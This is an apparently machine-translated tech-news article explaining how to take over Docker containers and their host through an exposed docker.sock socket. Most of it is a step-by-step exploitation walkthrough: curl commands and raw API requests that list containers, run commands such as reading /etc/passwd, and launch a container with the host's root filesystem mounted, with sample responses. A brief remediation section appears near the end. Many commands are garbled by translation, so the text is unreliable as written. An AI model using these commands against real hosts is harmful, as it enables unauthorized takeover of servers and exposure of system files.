Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to take over a container through an exposed docker.sock file

2025-04-07 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >

Share

Shulou(Shulou.com)06/02 Report--

Today, I will talk to you about how to take over the container through exposed docker.sock files. Many people may not know much about it. In order to make you understand better, the editor has summarized the following for you. I hope you can get something according to this article.

By default, when the docker command is executed on the host, the API call to docker daemon is made through a non-networked UNIX socket located at / var/run/docker.sock. This socket file is the primary API that controls any docker container running on the host. However, many containers and instructions require you to expose the socket file as a volume in the container [1] [2] [3] [4] [5] [6] or, in some cases, expose it on the TCP port [1] [2] [3]. This is very dangerous, and Docker containers that expose / var/run/docker.sock locally or remotely are likely to be completely taken over by malicious attackers.

So far, I have found a large number of servers that expose docker.sock to the Internet.

In fact, this is not a new loophole, and there have already been articles about the dangers of exposing docker.sock files. In this article, I will expand this problem, explain how to use it, and how to take measures to deal with it. If you follow me on Twitter, you will soon get a script I share that will help you use it more easily.

What can you do?

With the exposed docker.sock file, you can perform any operation you want in any container running on the host. By accessing docker.sock files locally or remotely, you can control docker as if you were running the docker command on the host.

The simplest example is to use the official docker client to access the docker.sock file (for example, you happen to access the container where the docker client is installed, or you can install the docker client). To take advantage of it, you can run the regular docker command, including exec, to get shell:

Root@9e50daaea94f:/# ls-alh / var/run/docker.sock # checking if socket is availiblesrw-rw---- 1 root 999 0 Apr 4 02:00 / var/run/docker.sockroot@9e50daaea94f:/# hostname9e50daaea94froot@9e50daaea94f:/# docker container lsCONTAINER ID NAMES509eebf873fb another_container9e50daaea94f current_containerroot@9e50daaea94f:/# docker exec-it another_container bash # running bash on the other containerroot@509eebf873fb:/# hostname509eebf873fb

However, to run it, you must have RCE installed on the container. Even if you use RCE, you may not be able to access the docker client and install the docker client in most cases. If this is the case, you can make the original http request to / var/run/docker.sock.

Although it is possible to leverage RCE on the docker container to take advantage of the docker environment by issuing a HTTP request to the docker.sock file, this is unlikely to happen. There is a greater chance of finding docker.sock files that are remotely exposed through the TCP port.

If you need to run any other commands not listed below, docker API will help you very well.

Here is a CloudFormation script. You need to have an AWS account with permission to start a new EC2 instance. Don't forget to delete stack when you're done!

Get RCE1 on containers) list all containers

The first step is to get a list of all the containers on the host. To do this, you need to execute the following http request:

GET / containers/json HTTP/1.1Host:: PORT

Curl command:

Curl-I-s-X GET http://:PORT/containers/json

Response:

HTTP/1.1 200 OKApi-Version: 1.39Content-Type: application/jsonDocker-Experimental: falseOstype: linuxServer: Docker/18.09.4 (linux) Date: Thu, 04 Apr 2019 05:56:03 GMTContent-Length: 1780 [{"Id": "a4621ceab3729702f18cfe852003489341e51e036d13317d8e7016facb8ebbaf", "Names": ["/ another_container"], "Image": "ubuntu:latest", "ImageID": "sha256:94e814e2efa8845d95b2112d54497fbad173e45121ce9255b93401392f538499", "Command": "bash" Created: 1554357359, Ports: [], Labels: {}, State: running, Status: Up 3 seconds, HostConfig: {"NetworkMode": "default"}, "NetworkSettings": {"Networks":...

Notice the "Id" field in the response, as it will be used in the next command.

2) create an exec

Next, we need to create an instance of "exec" that will execute on the container. You can enter the command you want to run here.

The following items in the request need to be changed in the request:

Container ID Docker Host Port Cmd (cat / etc/passwd in my example)

POST / containers//exec HTTP/1.1Host:: PORTContent-Type: application/jsonContent-Length: 188 {"AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["cat", "/ etc/passwd"], "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true}

Curl command:

Curl-I-s-X POST\-H "Content-Type: application/json"\-- data-binary'{"AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["cat", "/ etc/passwd"], "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true}'\ http://:PORT/containers//exec

Response:

HTTP/1.1 201CreatedApi-Version: 1.39Content-Type: application/jsonDocker-Experimental: falseOstype: linuxServer: Docker/18.09.4 (linux) Date: Fri, 05 Apr 2019 00:51:31 GMTContent-Length: 74 {"Id": "8b5e4c65e182cec039d38ddb9c0a931bbba8f689a4b3e1be1b3e8276dd2d1916"}

Notice the "Id" field in the response, as it will be used in the next command.

3) start exec

Now that we have created "exec", we need to run it.

You need to change the following items in the request:

Exec ID Docker Host Port

POST / exec//start HTTP/1.1Host:: PORTContent-Type: application/json {"Detach": false, "Tty": false}

Curl command:

Curl-I-s-X POST\-H 'Content-Type: application/json'\-- data-binary' {"Detach": false, "Tty": false}'\ http://:PORT/exec//start

Response:

HTTP/1.1 200OKContent-Type: application/vnd.docker.raw-streamApi-Version: 1.39Docker-Experimental: falseOstype: linuxServer: Docker/18.09.4 (linux) root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4: 65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x: 10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/ Usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin): / var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologin takes over the host

Launch a docker container, and the host's root directory is mounted on a volume of the container, so that commands can be executed on the host's file system. Because the vulnerabilities discussed in this article allow you to have complete control over the API, you can control the docker host.

Note: don't forget to change dockerhost,port and containerID

1) download the ubuntu image curl-I-k-X 'POST'\-H 'Content-Type: application/json'\ http://:PORT/images/create?fromImage=ubuntu&tag=latest2) create a container curl-I-k-X' POST'\-H 'Content-Type: application/json'\-- data-binary' {"Hostname": "," Domainname ":", "User": "," AttachStdin ": true," AttachStdout ": true "AttachStderr": true, Tty: true, "OpenStdin": true, "StdinOnce": true, "Entrypoint": "/ bin/bash", "Image": "ubuntu", "Volumes": {"/ hostos/": {}} "HostConfig": {"Binds": ["/: / hostos"]}'\ http://:PORT/containers/create3) launch container curl-I-s-k-X 'POST'\-H' Content-Type: application/json'\ http://:PORT/containers//start

At this point, you can use code execution vulnerabilities to run commands on the new container. If you want to run the command against Host OS, don't forget to add chroot/hostos.

How to fix it?

Avoid exposing docker.sock files remotely or at the container level (if possible)

If you need to provide socket files remotely, please do the following here

Set up appropriate security groups and firewall rules to prevent access to illegal IP

Appendix Local commands

The following is a list of CURL commands that can be run if API is not available remotely but can be used locally.

1) list all containers

Sudo curl-I-s-unix-socket / var/run/docker.sock-X GET\ http://localhost/containers/json

2) create an exec

Sudo curl-I-s-- unix-socket / var/run/docker.sock-X POST\-H "Content-Type: application/json"\-- data-binary'{"AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["cat", "/ etc/passwd"], "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true}'\ http://localhost/containers//exec

3) start exec

Sudo curl-I-s-- unix-socket / var/run/docker.sock-X POST\-H 'Content-Type: application/json'\-- data-binary'{"Detach": false, "Tty": false}'\ http://localhost/exec//start after reading the above, do you have any further understanding of how to take over the container through the exposed docker.sock file? If you want to know more knowledge or related content, please follow the industry information channel, thank you for your support.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Development

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report